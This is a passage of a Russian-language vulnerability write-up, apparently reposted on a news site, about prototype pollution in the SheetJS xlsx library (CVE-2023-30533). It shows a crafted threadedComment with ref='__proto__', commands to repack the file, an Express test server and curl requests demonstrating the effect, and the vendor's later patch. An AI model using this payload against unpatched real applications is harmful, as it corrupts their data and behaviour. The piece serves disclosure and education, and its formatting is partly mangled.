Категория > Новости > Дырявый лист. Как работают уязвимости в библиотеке SheetJS - «Новости»

Дырявый лист. Как работают уязвимости в библиотеке SheetJS - «Новости»


23-06-2023, 00:00. Автор: Davidson
cmntcommon. В ней прис­ваивает­ся зна­чение объ­екта по клю­чу, который может кон­тро­лиро­вать­ся поль­зовате­лем.
else sheet[comment.ref] = cell;

Для даль­нейше­го ана­лиза важ­но понимать, что такое comment.ref. Это зна­чение попада­ет в код из фай­ла threadedCommentXXX.xml (где XXX — номер докумен­та с ком­мента­риями). При­мер:


<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">

Обыч­но, ког­да файл соз­дает­ся в редак­торе элек­трон­ных таб­лиц, это не вызыва­ет проб­лем, так как адре­са яче­ек редак­тор сге­нери­рует авто­мати­чес­ки и это будут допус­тимые зна­чения.


Од­нако раз­работ­чики пакета XLSX не учли, что зло­умыш­ленник может вруч­ную соз­дать файл XLSX с про­изволь­ным содер­жимым и спе­циаль­но сфор­мировать адре­са яче­ек.


; Вносим изменение в желаемые файлы
7z a NotNormal.zip ./[Content_Types].xml _rels/docProps/xl
mv NotNormal.zip NotNormal.xlsx

Для успешной экс­плу­ата­ции заг­рузим обыч­ный файл, но с таким threadedComment:


<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">

В таком слу­чае зна­чение comments.ref будет рав­но __proto__, а cell будет содер­жать Object prototype.


Да­лее в коде фун­кции находим обра­щение к cell:


if (!cell.c) cell.c = [];

Так как перемен­ная содер­жит prototype, то мас­сив запишет­ся в свой­ство c про­тоти­па объ­екта. Это при­ведет к тому, что при даль­нейших про­вер­ках все ком­мента­рии будут записы­вать­ся в один мас­сив, так как зна­чение cell.c будет всег­да опре­деле­но. Раз­работ­чикам сле­дова­ло исполь­зовать такую конс­трук­цию:


if (!cell.hasOwnProperty("c")) cell.c = [];

Да­вай наб­роса­ем доказа­тель­ство кон­цепции:


const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Получение POST-запроса c обработкой загруженного файла
app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получение загруженного файла
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
/*
Далее может следовать любая обработка файла и т. д.
*/
res.send('Файл успешно обработан.');
});
// Обработка GET-запроса c выдачей простого документа
app.get('/getSample', function(req, res) {
var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123]]);
var wb = XLSX.utils.book_new();
XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
const xlsxData = XLSX.write(wb, { type: 'buffer' });
// Возврат обработанного файла
res.set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
res.set('Content-Disposition', 'attachment; filename="processed_file.xlsx"');
res.send(xlsxData);
});
// Запуск сервера
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});

Этот скрипт при­нима­ет файл для обра­бот­ки на эндпо­инте /process, а при зап­росе /getSample воз­вра­щает при­мер обыч­ного фай­ла XLSX (который не содер­жит ком­мента­риев).


Сде­лаем нес­коль­ко зап­росов на сер­вер. Сна­чала обра­тим­ся к /getSample и откро­ем файл, что­бы прос­мотреть его содер­жимое:



$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total
% Received % Xferd Average Speed
Time
Time
Time Current
Dload Upload
Total
Spent
Left Speed
0
0
0
0
0
0
0
0 --:--:-- --:--:-- --:--100 22023 100 22023
0
0 1312k
0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx



Дырявый лист. Как работают уязвимости в библиотеке SheetJS - «Новости»
Со­дер­жимое откры­того фай­ла

А теперь выпол­ним серию зап­росов с нашим спе­циаль­ным фай­лом:



$ curl -X POST --form file=@
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process


Файл успешно обра­ботан.⏎
$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total
% Received % Xferd Average Speed
Time
Time
Time Current
Dload Upload
Total
Spent
Left Speed
0
0
0
0
0
0
0
0 --:--:-- --:--:-- --:--100 22023 100 22023
0
0 1312k
0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx



Те­кущее содер­жимое фай­ла 

Реакция разработчиков


В вер­сии 0.19.3 пакета XLSX раз­работ­чики пос­тарались устра­нить этот баг. Они добави­ли такую про­вер­ку:


var r = decode_cell(comment.ref);
if(r.r < 0 || r.c < 0) return;

Те­перь, если comment.ref содер­жит невалид­ное наз­вание ячей­ки таб­лицы, выпол­нение фун­кции прер­вется.


Ба­гу выдан иден­тифика­цион­ный номер CVE-2023-30533.


 

Модификация файлов person и threadedComment


 

Описание недостатка


Мы про­дол­жили изу­чать фун­кции, свя­зан­ные с ком­мента­риями, и обна­ружи­ли воз­можность модифи­циро­вать фай­лы person и threadedComment внут­ри ZIP-архи­ва.



Перейти обратно к новости